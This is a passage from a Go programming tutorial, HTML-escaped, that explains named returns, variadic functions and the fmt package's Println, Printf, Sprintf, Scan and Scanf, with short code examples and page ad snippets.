style=&#34;color:#57c7ff&#34;&gt;returnFunction&lt;/span&gt;()()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;return-no-name&#34;&gt;Return no name&lt;/h3&gt;&#xA;&lt;p&gt;Go has a special way to return a value implicitly, without having to place it after &lt;em&gt;return&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;split&lt;/span&gt;(sum &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) (x, y &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;// retornará x y x de manera implícita&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        x = sum &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        y = sum &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; x&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This syntax may seem a bit tricky, but it is really very simple. Remember I told you that the type of data that a function returns goes after the arguments? (x, y int)_ Well here, in addition to the type, we specify which variables will be returned and of what type, &lt;strong&gt;in case we don&amp;rsquo;t put anything after return&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Basically we are telling go: &amp;ldquo;hey, if I don&amp;rsquo;t put anything after the return, return the variables &amp;ldquo;x&amp;rdquo; and &amp;ldquo;y&amp;rdquo;, which are of type &lt;em&gt;int&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;variadic-functions&#34;&gt;Variadic functions&lt;/h3&gt;&#xA;&lt;p&gt;In go, functions that receive a variable number of arguments require you to pass the name of the argument that will contain it, followed by ellipses and the data type.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiples&lt;/span&gt;(nums &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(nums)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you were to execute the function you would see that it returns an array.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;multiples&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [1 2 3 4 5]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There, that concludes my summary of the functions. Now let&amp;rsquo;s move on to one of go&amp;rsquo;s essential packages, the fmt package.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;fmt-package&#34;&gt;fmt package&lt;/h2&gt;&#xA;&lt;p&gt;This package is the one you will normally use to print statements on the screen and, I can see it in the future, the one you will use incorrectly for debugging.&lt;/p&gt;&#xA;&lt;p&gt;First of all, &lt;strong&gt;fmt stands for format package and it is the package that will be in charge of formatting any type of input or output data&lt;/strong&gt;. By data input and output, I mean what your older colleagues would call &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/Entrada_est%C3%A1ndar&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;stdin and stdout in GNU/Linux&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;By the way, fmt has support for special characters, so you can print subtitles in the original language of your favorite anime.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;println&#34;&gt;Println&lt;/h3&gt;&#xA;&lt;p&gt;If you have already worked with other programming languages, it is your classic print, echo, console.log or equivalent function, with its &lt;em&gt;newline&lt;/em&gt; added at the end.&lt;/p&gt;&#xA;&lt;p&gt;Println is able to print several arguments in a row, even if they are of different types.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;彼氏彼女の事情&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;printf&#34;&gt;Printf&lt;/h3&gt;&#xA;&lt;p&gt;Printf is like Println but with position operators that tell go the type of data we are passing to it. Yes, just like the C++ function&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;text &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World!&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;42&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// %s es de string y %d de digit&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello %s %d&amp;#34;&lt;/span&gt;, text, number)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;types-of-operators&#34;&gt;Types of operators&lt;/h3&gt;&#xA;&lt;p&gt;Did you see that I used the operator types %s and %d, for strings and digits, respectively? Well, in go there are multiple types of operators for many, many types of data.&lt;/p&gt;&#xA;&lt;p&gt;There are some position traders that I consider noteworthy.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;T, data type (string, int, boolean, etc).&lt;/li&gt;&#xA;&lt;li&gt;%v, value in the default go format.&lt;/li&gt;&#xA;&lt;li&gt;%t, For boolean, returns the word false or true.&lt;/li&gt;&#xA;&lt;li&gt;%x, base number 16&lt;/li&gt;&#xA;&lt;li&gt;%o, base 8 number&lt;/li&gt;&#xA;&lt;li&gt;%e, scientific notation number&lt;/li&gt;&#xA;&lt;li&gt;%9.2f, float with width of 9 and precision of 2&lt;/li&gt;&#xA;&lt;li&gt;%.2f, float with default width and precision of 2&lt;/li&gt;&#xA;&lt;li&gt;%q a string or text string, enclosed in quotes, previously escaped&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can see the rest of the operators in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/fmt&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official go documentation&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;sprintf&#34;&gt;Sprintf&lt;/h3&gt;&#xA;&lt;p&gt;Sprintf has the same syntax as printf, but &lt;strong&gt;with the difference that it does not print to the screen, but generates a string&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; message &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; = fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sprintf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello %s %d&amp;#34;&lt;/span&gt;, text, number)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But what if we want to get input from a user? Well, just like in C, we have the scan function.&lt;/p&gt;&#xA;&lt;h3 id=&#34;scan&#34;&gt;Scan&lt;/h3&gt;&#xA;&lt;p&gt;Scan will read the standard input text (stdin) until it finds the first space or line break and return the number of arguments received.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know what the ampersand &amp;ldquo;&amp;amp;&amp;rdquo; means, you can think of it as the address in memory to which the message variable corresponds.&lt;/p&gt;&#xA;&lt;p&gt;If you still have no idea what I&amp;rsquo;m talking about, you&amp;rsquo;re going to have to do some research on pointers. There is too much information available on the internet to create a new entry.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; message &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Scan&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;message)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(message)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above code does only two things: it saves the text we type in the console in the message variable and then prints it on the screen.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/scanfEnGolang.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/scanfEnGolang.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Scan in golang or go&#34; width=&#34;565&#34; height=&#34;155&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;scanf&#34;&gt;Scanf&lt;/h3&gt;&#xA;&lt;p&gt;Scanf is like Scan, but to store multiple arguments, separated by spaces.&lt;/p&gt;&#xA;&lt;p&gt;See how we first create the three variables, and then, as the first argument to Scanf, we pass the order in which it will receive the arguments as a data type, separated by space, and at the end the address of the variables to which it has to assign them.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;name &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;lastname &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;phoneNumber &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;// name lastname phoneNumber&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Scanf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%s %s %d&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;name, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;lastname, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;phoneNumber)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name: %s, lastname: %s, phoneNumber: %d&amp;#34;&lt;/span&gt;, name, lastname, phoneNumber)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how we indicate the separation of each argument by a space.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/ScanfMultiplesArgumentosGolang.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/ScanfMultiplesArgumentosGolang.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Scanf in golang or go&#34; width=&#34;565&#34; height=&#34;155&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;handling-errors-on-scanf-and-scan&#34;&gt;Handling errors on Scanf and Scan&lt;/h3&gt;&#xA;&lt;p&gt;Scanf and Scan, in addition to saving text in variables, also return the number of assigned arguments and, only in case of occurrence, an error message.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;name &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;lastname &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;phoneNumber &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;arguments &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;err &lt;span style=&#34;color:#9aedfe&#34;&gt;error&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    arguments, err = fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Scanf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%s %s %d&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;name, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;lastname, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;phoneNumber)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; err &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Error: %s&amp;#34;&lt;/span&gt;, err)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Looks ok, we received %d arguments: %s, %s, %d&amp;#34;&lt;/span&gt;, arguments, name, lastname, phoneNumber)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;See what happens if we try to pass it an argument of the wrong type.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/ErrorScanfArgumentos.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/ErrorScanfArgumentos.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Error of scanf arguments in go&#34; width=&#34;565&#34; height=&#34;188&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The first time the function is executed everything goes well and happens normally, but the second time it returns an error because we are trying to pass Scanf an argument of type string, and it is waiting for one of type int.&lt;/p&gt;&#xA;&lt;p&gt;If you want to see the rest of the features that this go package has to offer, check the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/fmt&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official documentation of the fmt. package&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
